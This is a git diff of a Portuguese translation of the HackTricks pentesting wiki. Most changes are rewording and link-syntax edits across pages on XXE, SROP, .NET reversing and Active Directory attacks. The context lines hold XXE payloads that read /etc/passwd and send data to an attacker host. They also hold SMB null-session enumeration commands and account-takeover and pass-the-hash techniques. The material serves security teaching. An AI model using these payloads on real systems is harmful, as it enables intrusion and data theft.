XML é uma linguagem de marcação projetada para armazenamento e transporte de dados, apresentando uma estrutura flexível que permite o uso de tags nomeadas descritivamente. Ela difere do HTML por não estar limitada a um conjunto de tags predefinidas. A importância do XML diminuiu com o surgimento do JSON, apesar de seu papel inicial na tecnologia AJAX.
|
||||
|
||||
@ -35,7 +35,7 @@ Neste ataque, vou testar se uma simples declaração de NOVA ENTIDADE está func
|
||||
|
||||
Vamos tentar ler `/etc/passwd` de diferentes maneiras. Para Windows, você pode tentar ler: `C:\windows\system32\drivers\etc\hosts`
|
||||
|
||||
Neste primeiro caso, observe que SYSTEM "_\*\*file:///\*\*etc/passwd_" também funcionará.
|
||||
Neste primeiro caso, note que SYSTEM "_\*\*file:///\*\*etc/passwd_" também funcionará.
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||
@ -108,14 +108,14 @@ Os passos executados por este DTD incluem:
|
||||
|
||||
1. **Definição de Entidades de Parâmetro:**
|
||||
- Uma entidade de parâmetro XML, `%file`, é criada, lendo o conteúdo do arquivo `/etc/hostname`.
|
||||
- Outra entidade de parâmetro XML, `%eval`, é definida. Ela declara dinamicamente uma nova entidade de parâmetro XML, `%exfiltrate`. A entidade `%exfiltrate` é configurada para fazer uma solicitação HTTP ao servidor do atacante, passando o conteúdo da entidade `%file` dentro da string de consulta da URL.
|
||||
- Outra entidade de parâmetro XML, `%eval`, é definida. Ela declara dinamicamente uma nova entidade de parâmetro XML, `%exfiltrate`. A entidade `%exfiltrate` é configurada para fazer uma requisição HTTP para o servidor do atacante, passando o conteúdo da entidade `%file` dentro da string de consulta da URL.
|
||||
2. **Execução de Entidades:**
|
||||
- A entidade `%eval` é utilizada, levando à execução da declaração dinâmica da entidade `%exfiltrate`.
|
||||
- A entidade `%exfiltrate` é então usada, acionando uma solicitação HTTP para a URL especificada com o conteúdo do arquivo.
|
||||
- A entidade `%exfiltrate` é então usada, acionando uma requisição HTTP para a URL especificada com o conteúdo do arquivo.
|
||||
|
||||
O atacante hospeda este DTD malicioso em um servidor sob seu controle, tipicamente em uma URL como `http://web-attacker.com/malicious.dtd`.
|
||||
|
||||
**XXE Payload:** Para explorar uma aplicação vulnerável, o atacante envia um payload XXE:
|
||||
**Carga Útil XXE:** Para explorar uma aplicação vulnerável, o atacante envia uma carga útil XXE:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
@ -201,7 +201,9 @@ Para mais informações, consulte [https://portswigger.net/web-security/xxe/blin
|
||||
|
||||
No seguinte incrível repositório do github, você pode encontrar **caminhos de DTDs que podem estar presentes no sistema**:
|
||||
|
||||
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
||||
{{#ref}}
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
Além disso, se você tiver a **imagem Docker do sistema da vítima**, pode usar a ferramenta do mesmo repositório para **escanear** a **imagem** e **encontrar** o caminho dos **DTDs** presentes dentro do sistema. Leia o [Readme do github](https://github.com/GoSecure/dtd-finder) para aprender como.
|
||||
```bash
|
||||
@ -243,11 +245,11 @@ jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
|
||||
O processo para acessar um arquivo dentro de um arquivo PKZIP via o protocolo jar envolve várias etapas:
|
||||
|
||||
1. Um pedido HTTP é feito para baixar o arquivo zip de um local especificado, como `https://download.website.com/archive.zip`.
|
||||
1. Uma solicitação HTTP é feita para baixar o arquivo zip de um local especificado, como `https://download.website.com/archive.zip`.
|
||||
2. A resposta HTTP contendo o arquivo é armazenada temporariamente no sistema, tipicamente em um local como `/tmp/...`.
|
||||
3. O arquivo é então extraído para acessar seu conteúdo.
|
||||
4. O arquivo específico dentro do arquivo, `file.zip`, é lido.
|
||||
5. Após a operação, quaisquer arquivos temporários criados durante esse processo são deletados.
|
||||
5. Após a operação, quaisquer arquivos temporários criados durante esse processo são excluídos.
|
||||
|
||||
Uma técnica interessante para interromper esse processo na segunda etapa envolve manter a conexão do servidor aberta indefinidamente ao servir o arquivo do arquivo. Ferramentas disponíveis neste [repositório](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) podem ser utilizadas para esse propósito, incluindo um servidor Python (`slow_http_server.py`) e um servidor Java (`slowserver.jar`).
|
||||
```xml
|
||||
@ -255,7 +257,7 @@ Uma técnica interessante para interromper esse processo na segunda etapa envolv
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Escrever arquivos em um diretório temporário pode ajudar a **escalar outra vulnerabilidade que envolve uma travessia de caminho** (como inclusão de arquivo local, injeção de template, RCE XSLT, desserialização, etc).
|
||||
> Escrever arquivos em um diretório temporário pode ajudar a **escalar outra vulnerabilidade que envolve uma travessia de caminho** (como inclusão de arquivo local, injeção de template, XSLT RCE, desserialização, etc).
|
||||
|
||||
### XSS
|
||||
```xml
|
||||
@ -671,7 +673,9 @@ XMLDecoder é uma classe Java que cria objetos com base em uma mensagem XML. Se
|
||||
```
|
||||
## Ferramentas
|
||||
|
||||
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
|
||||
{{#ref}}
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
{{#endref}}
|
||||
|
||||
## Referências
|
||||
|
||||
@ -684,5 +688,4 @@ XMLDecoder é uma classe Java que cria objetos com base em uma mensagem XML. Se
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
|
||||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -17,7 +17,9 @@ Geralmente, todas essas estruturas são falsificadas fazendo uma **cadeia ROP in
|
||||
|
||||
Você pode encontrar uma explicação melhor sobre esta técnica na segunda metade do vídeo:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Estruturas
|
||||
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# SROP - Sigreturn-Oriented Programming
|
||||
# SROP - Programação Orientada a Sigreturn
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
Após o manipulador de sinal terminar, o programa precisa **retomar seu estado anterior** como se nada tivesse acontecido. É aqui que **`sigreturn`** entra em cena. Ele ajuda o programa a **retornar do manipulador de sinal** e restaura o estado do programa limpando o quadro de pilha (a seção da memória que armazena chamadas de função e variáveis locais) que foi usado pelo manipulador de sinal.
|
||||
|
||||
A parte interessante é como **`sigreturn`** restaura o estado do programa: ele faz isso armazenando **todos os valores dos registradores da CPU na pilha.** Quando o sinal não está mais bloqueado, **`sigreturn` retira esses valores da pilha**, efetivamente redefinindo os registradores da CPU para seu estado antes que o sinal fosse tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.
|
||||
A parte interessante é como **`sigreturn`** restaura o estado do programa: ele faz isso armazenando **todos os valores dos registradores da CPU na pilha.** Quando o sinal não está mais bloqueado, **`sigreturn` remove esses valores da pilha**, efetivamente redefinindo os registradores da CPU para seu estado antes do sinal ser tratado. Isso inclui o registrador do ponteiro da pilha (RSP), que aponta para o topo atual da pilha.
|
||||
|
||||
> [!CAUTION]
|
||||
> Chamar a syscall **`sigreturn`** de uma cadeia ROP e **adicionar os valores dos registradores** que gostaríamos que ele carregasse na **pilha** torna possível **controlar** todos os valores dos registradores e, portanto, **chamar** por exemplo a syscall `execve` com `/bin/sh`.
|
||||
@ -19,9 +19,11 @@ Note como isso seria um **tipo de Ret2syscall** que torna muito mais fácil cont
|
||||
rop-syscall-execv.md
|
||||
{{#endref}}
|
||||
|
||||
Para uma explicação melhor, confira também:
|
||||
Para uma melhor explicação, confira também:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
{{#ref}}
|
||||
https://youtu.be/ADULSwnQs-s?feature=shared
|
||||
{{#endref}}
|
||||
|
||||
## Exemplo
|
||||
|
||||
|
||||
@ -27,7 +27,7 @@ Software:
|
||||
|
||||
dotPeek é um descompilador que **descompila e examina múltiplos formatos**, incluindo **bibliotecas** (.dll), **arquivos de metadados do Windows** (.winmd) e **executáveis** (.exe). Uma vez descompilado, um assembly pode ser salvo como um projeto do Visual Studio (.csproj).
|
||||
|
||||
O mérito aqui é que se um código fonte perdido requer restauração de um assembly legado, essa ação pode economizar tempo. Além disso, dotPeek fornece navegação prática por todo o código descompilado, tornando-o uma das ferramentas perfeitas para **análise de algoritmos Xamarin.**
|
||||
O mérito aqui é que se um código fonte perdido requer restauração a partir de um assembly legado, essa ação pode economizar tempo. Além disso, dotPeek fornece navegação prática por todo o código descompilado, tornando-o uma das ferramentas perfeitas para **análise de algoritmos Xamarin.**
|
||||
|
||||
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
@ -70,17 +70,17 @@ DebuggableAttribute.DebuggingModes.DisableOptimizations |
|
||||
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
|
||||
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
|
||||
```
|
||||
E clique em **compile**:
|
||||
E clique em **compilar**:
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Em seguida, salve o novo arquivo via _**File >> Save module...**_:
|
||||
Em seguida, salve o novo arquivo via _**Arquivo >> Salvar módulo...**_:
|
||||
|
||||
.png>)
|
||||
|
||||
Isso é necessário porque se você não fizer isso, em **runtime** várias **optimisations** serão aplicadas ao código e pode ser possível que enquanto depurando um **break-point nunca seja atingido** ou algumas **variáveis não existam**.
|
||||
Isso é necessário porque, se você não fizer isso, durante a **execução** várias **otimizações** serão aplicadas ao código e pode ser que, ao depurar, um **ponto de interrupção nunca seja atingido** ou algumas **variáveis não existam**.
|
||||
|
||||
Então, se sua aplicação .NET estiver sendo **run** pelo **IIS**, você pode **restart** ela com:
|
||||
Então, se sua aplicação .NET estiver sendo **executada** pelo **IIS**, você pode **reiniciá-la** com:
|
||||
```
|
||||
iisreset /noforce
|
||||
```
|
||||
@ -156,7 +156,9 @@ cheat-engine.md
|
||||
|
||||
## ARM & MIPS
|
||||
|
||||
{% embed url="https://github.com/nongiach/arm_now" %}
|
||||
{{#ref}}
|
||||
https://github.com/nongiach/arm_now
|
||||
{{#endref}}
|
||||
|
||||
## Shellcodes
|
||||
|
||||
@ -165,7 +167,7 @@ cheat-engine.md
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) irá **alocar** o **shellcode** dentro de um espaço de memória, irá **indicar** o **endereço de memória** onde o shellcode foi alocado e irá **parar** a execução.\
|
||||
Então, você precisa **anexar um depurador** (Ida ou x64dbg) ao processo e colocar um **breakpoint no endereço de memória indicado** e **retomar** a execução. Dessa forma, você estará depurando o shellcode.
|
||||
|
||||
A página de lançamentos do github contém zips contendo os lançamentos compilados: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
A página de lançamentos do github contém zips com os lançamentos compilados: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Você pode encontrar uma versão ligeiramente modificada do Blobrunner no seguinte link. Para compilá-lo, basta **criar um projeto C/C++ no Visual Studio Code, copiar e colar o código e compilar**.
|
||||
|
||||
{{#ref}}
|
||||
@ -194,7 +196,7 @@ Para iniciar a emulação no lugar que você deseja, defina um bp lá e aparente
|
||||
|
||||
.png>)
|
||||
|
||||
Você pode ver a pilha, por exemplo, dentro de um dump hex:
|
||||
Você pode ver a pilha, por exemplo, dentro de um dump hexadecimal:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -214,7 +216,7 @@ scDbg também conta com um lançador gráfico onde você pode selecionar as opç
|
||||
|
||||
.png>)
|
||||
|
||||
A opção **Create Dump** irá despejar o shellcode final se alguma alteração for feita no shellcode dinamicamente na memória (útil para baixar o shellcode decodificado). O **start offset** pode ser útil para iniciar o shellcode em um deslocamento específico. A opção **Debug Shell** é útil para depurar o shellcode usando o terminal scDbg (no entanto, eu acho que qualquer uma das opções explicadas anteriormente é melhor para isso, pois você poderá usar o Ida ou x64dbg).
|
||||
A opção **Create Dump** irá despejar o shellcode final se alguma alteração for feita no shellcode dinamicamente na memória (útil para baixar o shellcode decodificado). O **start offset** pode ser útil para iniciar o shellcode em um deslocamento específico. A opção **Debug Shell** é útil para depurar o shellcode usando o terminal scDbg (no entanto, eu acho que qualquer uma das opções explicadas antes é melhor para isso, pois você poderá usar o Ida ou x64dbg).
|
||||
|
||||
### Desmontando usando CyberChef
|
||||
|
||||
@ -255,7 +257,7 @@ Basta pressionar **ATL+f7** (importar plugin python no IDA) e selecionar o plugi
|
||||
|
||||
Este plugin executará o binário e resolverá os nomes das funções dinamicamente no início da depuração. Após iniciar a depuração, pressione novamente o botão Iniciar (o verde ou f9) e um ponto de interrupção será atingido no início do código real.
|
||||
|
||||
É também muito interessante porque, se você pressionar um botão na aplicação gráfica, o depurador parará na função executada por esse botão.
|
||||
É também muito interessante porque, se você pressionar um botão na aplicação gráfica, o depurador parará na função executada por aquele botão.
|
||||
|
||||
## Golang
|
||||
|
||||
@ -326,7 +328,7 @@ FUN_08000dd0(&DAT_02009584,0x6000000,&DAT_030000dc);
|
||||
FUN_08000354(&DAT_030000dc,0x3c);
|
||||
uVar4 = DAT_030004d8;
|
||||
```
|
||||
Foi encontrado este código:
|
||||
Encontrou este código:
|
||||
```c
|
||||
do {
|
||||
DAT_030004da = uVar4; //This is the last key pressed
|
||||
@ -366,7 +368,7 @@ FUN_08000864();
|
||||
if (uVar1 == 0x10) {
|
||||
DAT_030000d8 = DAT_030000d8 + 0x3a;
|
||||
```
|
||||
No código anterior, você pode ver que estamos comparando **uVar1** (o lugar onde está o **valor do botão pressionado**) com alguns valores:
|
||||
No código anterior, você pode ver que estamos comparando **uVar1** (o lugar onde está **o valor do botão pressionado**) com alguns valores:
|
||||
|
||||
- Primeiro, é comparado com o **valor 4** (botão **SELECT**): No desafio, este botão limpa a tela.
|
||||
- Em seguida, é comparado com o **valor 8** (botão **START**): No desafio, isso verifica se o código é válido para obter a bandeira.
|
||||
@ -374,13 +376,15 @@ No código anterior, você pode ver que estamos comparando **uVar1** (o lugar on
|
||||
- Em qualquer outro caso, algum cont (`DAT_030000d4`) é verificado. É um cont porque está adicionando 1 logo após entrar no código.\
|
||||
**Se** for menor que 8, algo que envolve **adicionar** valores a \*\*`DAT_030000d8` \*\* é feito (basicamente, está adicionando os valores das teclas pressionadas nesta variável, desde que o cont seja menor que 8).
|
||||
|
||||
Portanto, neste desafio, sabendo os valores dos botões, você precisava **pressionar uma combinação com um comprimento menor que 8 que a adição resultante seja 0xf3.**
|
||||
Portanto, neste desafio, sabendo os valores dos botões, você precisava **pressionar uma combinação com um comprimento menor que 8 cuja soma resultante é 0xf3.**
|
||||
|
||||
**Referência para este tutorial:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||
|
||||
## Game Boy
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=VVbRe7wr3G4
|
||||
{{#endref}}
|
||||
|
||||
## Cursos
|
||||
|
||||
|
||||
4
src/robots.txt
Normal file
4
src/robots.txt
Normal file
@ -0,0 +1,4 @@
|
||||
Sitemap: https://www.hacktricks.wiki/sitemap.xml
|
||||
|
||||
User-agent: *
|
||||
Disallow:
|
||||
@ -48,7 +48,9 @@ Take it to the top
|
||||
|
||||
Whisper my world
|
||||
```
|
||||
{% embed url="https://codewithrockstar.com/" %}
|
||||
{{#ref}}
|
||||
https://codewithrockstar.com/
|
||||
{{#endref}}
|
||||
|
||||
## PETOOH
|
||||
```
|
||||
|
||||
@ -6,11 +6,13 @@
|
||||
- **Arquivo em Tempo de Execução:** Uma lista lida em tempo de execução (não carregada na memória). Para suportar listas grandes.
|
||||
- **Modificação de Caso:** Aplique algumas mudanças a uma lista de strings (Sem mudança, para minúsculas, para MAIÚSCULAS, para Nome Próprio - Primeiro capitalizado e o resto em minúsculas-, para Nome Próprio - Primeiro capitalizado e o resto permanece o mesmo-).
|
||||
- **Números:** Gere números de X a Y usando Z passos ou aleatoriamente.
|
||||
- **Brute Forcer:** Conjunto de caracteres, comprimento mínimo e máximo.
|
||||
- **Força Bruta:** Conjunto de caracteres, comprimento mínimo e máximo.
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload para executar comandos e capturar a saída via solicitações DNS para burpcollab.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
{{#ref}}
|
||||
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
|
||||
{{#endref}}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
|
||||
@ -4,32 +4,34 @@
|
||||
|
||||
### Cabeçalho Host
|
||||
|
||||
Várias vezes o back-end confia no **cabeçalho Host** para realizar algumas ações. Por exemplo, ele pode usar seu valor como o **domínio para enviar um reset de senha**. Assim, quando você recebe um e-mail com um link para redefinir sua senha, o domínio utilizado é aquele que você colocou no cabeçalho Host. Então, você pode solicitar o reset de senha de outros usuários e mudar o domínio para um controlado por você para roubar seus códigos de reset de senha. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
Várias vezes o back-end confia no **Cabeçalho Host** para realizar algumas ações. Por exemplo, ele pode usar seu valor como o **domínio para enviar um reset de senha**. Assim, quando você recebe um e-mail com um link para redefinir sua senha, o domínio utilizado é aquele que você colocou no Cabeçalho Host. Então, você pode solicitar o reset de senha de outros usuários e mudar o domínio para um controlado por você para roubar seus códigos de reset de senha. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
> [!WARNING]
|
||||
> Note que é possível que você não precise nem esperar o usuário clicar no link de redefinição de senha para obter o token, pois talvez até mesmo **filtros de spam ou outros dispositivos/bots intermediários cliquem nele para analisá-lo**.
|
||||
|
||||
### Booleanos de sessão
|
||||
### Booleanos de Sessão
|
||||
|
||||
Às vezes, quando você completa alguma verificação corretamente, o back-end **apenas adicionará um booleano com o valor "True" a um atributo de segurança da sua sessão**. Então, um endpoint diferente saberá se você passou com sucesso naquela verificação.\
|
||||
No entanto, se você **passar a verificação** e sua sessão receber esse valor "True" no atributo de segurança, você pode tentar **acessar outros recursos** que **dependem do mesmo atributo**, mas que você **não deveria ter permissões** para acessar. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
Às vezes, quando você completa alguma verificação corretamente, o back-end **apenas adiciona um booleano com o valor "True" a um atributo de segurança da sua sessão**. Então, um endpoint diferente saberá se você passou com sucesso naquela verificação.\
|
||||
No entanto, se você **passar a verificação** e sua sessão receber aquele valor "True" no atributo de segurança, você pode tentar **acessar outros recursos** que **dependem do mesmo atributo**, mas que você **não deveria ter permissões** para acessar. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Funcionalidade de registro
|
||||
### Funcionalidade de Registro
|
||||
|
||||
Tente se registrar como um usuário já existente. Tente também usar caracteres equivalentes (pontos, muitos espaços e Unicode).
|
||||
|
||||
### Tomar conta de e-mails
|
||||
### Tomar Contas de E-mail
|
||||
|
||||
Registre um e-mail, antes de confirmá-lo, mude o e-mail, então, se o novo e-mail de confirmação for enviado para o primeiro e-mail registrado, você pode tomar conta de qualquer e-mail. Ou se você puder habilitar o segundo e-mail confirmando o primeiro, você também pode tomar conta de qualquer conta.
|
||||
Registre um e-mail, antes de confirmá-lo, mude o e-mail, então, se o novo e-mail de confirmação for enviado para o primeiro e-mail registrado, você pode tomar qualquer e-mail. Ou se você puder habilitar o segundo e-mail confirmando o primeiro, você também pode tomar qualquer conta.
|
||||
|
||||
### Acessar o serviço interno de atendimento das empresas usando Atlassian
|
||||
### Acessar o Servicedesk Interno de Empresas Usando Atlassian
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
{{#ref}}
|
||||
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
|
||||
{{#endref}}
|
||||
|
||||
### Método TRACE
|
||||
|
||||
Os desenvolvedores podem esquecer de desativar várias opções de depuração no ambiente de produção. Por exemplo, o método HTTP `TRACE` é projetado para fins de diagnóstico. Se habilitado, o servidor web responderá a solicitações que usam o método `TRACE` ecoando na resposta a exata solicitação que foi recebida. Esse comportamento é frequentemente inofensivo, mas ocasionalmente leva à divulgação de informações, como o nome de cabeçalhos de autenticação internos que podem ser anexados a solicitações por proxies reversos.
|
||||
Os desenvolvedores podem esquecer de desativar várias opções de depuração no ambiente de produção. Por exemplo, o método HTTP `TRACE` é projetado para fins de diagnóstico. Se habilitado, o servidor web responderá a solicitações que usam o método `TRACE` ecoando na resposta a exata solicitação que foi recebida. Esse comportamento é frequentemente inofensivo, mas ocasionalmente leva à divulgação de informações, como o nome de cabeçalhos de autenticação internos que podem ser anexados a solicitações por proxies reversos.
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,49 +1,95 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||
{{#ref}}
|
||||
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
|
||||
{{#ref}}
|
||||
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/pentesting-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
|
||||
{{#ref}}
|
||||
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
|
||||
{{#ref}}
|
||||
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
|
||||
{{#ref}}
|
||||
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
|
||||
{{#ref}}
|
||||
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/oscp-fun-guide/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.thehacker.recipes/" %}
|
||||
{{#ref}}
|
||||
https://www.thehacker.recipes/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hideandsec.sh/" %}
|
||||
{{#ref}}
|
||||
https://hideandsec.sh/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://cheatsheet.haax.fr/" %}
|
||||
{{#ref}}
|
||||
https://cheatsheet.haax.fr/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://infosecwriteups.com/" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.exploit-db.com/" %}
|
||||
{{#ref}}
|
||||
https://www.exploit-db.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://wadcoms.github.io/" %}
|
||||
{{#ref}}
|
||||
https://wadcoms.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://lolbas-project.github.io" %}
|
||||
{{#ref}}
|
||||
https://lolbas-project.github.io
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestbook.six2dez.com/" %}
|
||||
{{#ref}}
|
||||
https://pentestbook.six2dez.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.hackingarticles.in/" %}
|
||||
{{#ref}}
|
||||
https://www.hackingarticles.in/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestlab.blog/" %}
|
||||
{{#ref}}
|
||||
https://pentestlab.blog/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ippsec.rocks/" %}
|
||||
{{#ref}}
|
||||
https://ippsec.rocks/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -45,7 +45,7 @@ Se você apenas tiver acesso a um ambiente AD, mas não tiver credenciais/sessõ
|
||||
- Enumerar DNS pode fornecer informações sobre servidores chave no domínio, como web, impressoras, compartilhamentos, vpn, mídia, etc.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Dê uma olhada na [**Metodologia de Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md) para encontrar mais informações sobre como fazer isso.
|
||||
- **Verificar acesso nulo e de convidado em serviços smb** (isso não funcionará em versões modernas do Windows):
|
||||
- **Verifique o acesso nulo e de convidado em serviços smb** (isso não funcionará em versões modernas do Windows):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
@ -185,7 +185,7 @@ kerberoast.md
|
||||
|
||||
### Conexão remota (RDP, SSH, FTP, Win-RM, etc)
|
||||
|
||||
Uma vez que você tenha obtido algumas credenciais, pode verificar se tem acesso a alguma **máquina**. Para isso, você pode usar **CrackMapExec** para tentar se conectar em vários servidores com diferentes protocolos, de acordo com suas varreduras de portas.
|
||||
Uma vez que você tenha obtido algumas credenciais, pode verificar se tem acesso a alguma **máquina**. Para isso, você pode usar **CrackMapExec** para tentar conectar em vários servidores com diferentes protocolos, de acordo com suas varreduras de portas.
|
||||
|
||||
### Escalação de Privilégios Local
|
||||
|
||||
@ -215,7 +215,7 @@ Agora que você tem algumas credenciais básicas, deve verificar se consegue **e
|
||||
|
||||
### Roubar Credenciais NTLM
|
||||
|
||||
Se você conseguir **acessar outros PCs ou compartilhamentos**, poderá **colocar arquivos** (como um arquivo SCF) que, se acessados de alguma forma, **dispararão uma autenticação NTML contra você**, permitindo que você **roube** o **desafio NTLM** para quebrá-lo:
|
||||
Se você pode **acessar outros PCs ou compartilhamentos**, poderia **colocar arquivos** (como um arquivo SCF) que, se acessados de alguma forma, **dispararão uma autenticação NTML contra você**, permitindo que você **roube** o **desafio NTLM** para quebrá-lo:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -242,7 +242,7 @@ Então, é hora de despejar todos os hashes na memória e localmente.\
|
||||
### Pass the Hash
|
||||
|
||||
**Uma vez que você tenha o hash de um usuário**, pode usá-lo para **impersoná-lo**.\
|
||||
Você precisa usar alguma **ferramenta** que **realize** a **autenticação NTLM usando** esse **hash**, **ou** você pode criar um novo **sessionlogon** e **injetar** esse **hash** dentro do **LSASS**, para que quando qualquer **autenticação NTLM for realizada**, esse **hash será usado.** A última opção é o que o mimikatz faz.\
|
||||
Você precisa usar alguma **ferramenta** que **realize** a **autenticação NTLM usando** esse **hash**, **ou** você poderia criar um novo **sessionlogon** e **injetar** esse **hash** dentro do **LSASS**, para que, quando qualquer **autenticação NTLM for realizada**, esse **hash será usado.** A última opção é o que o mimikatz faz.\
|
||||
[**Leia esta página para mais informações.**](../ntlm/#pass-the-hash)
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
@ -263,14 +263,14 @@ pass-the-ticket.md
|
||||
|
||||
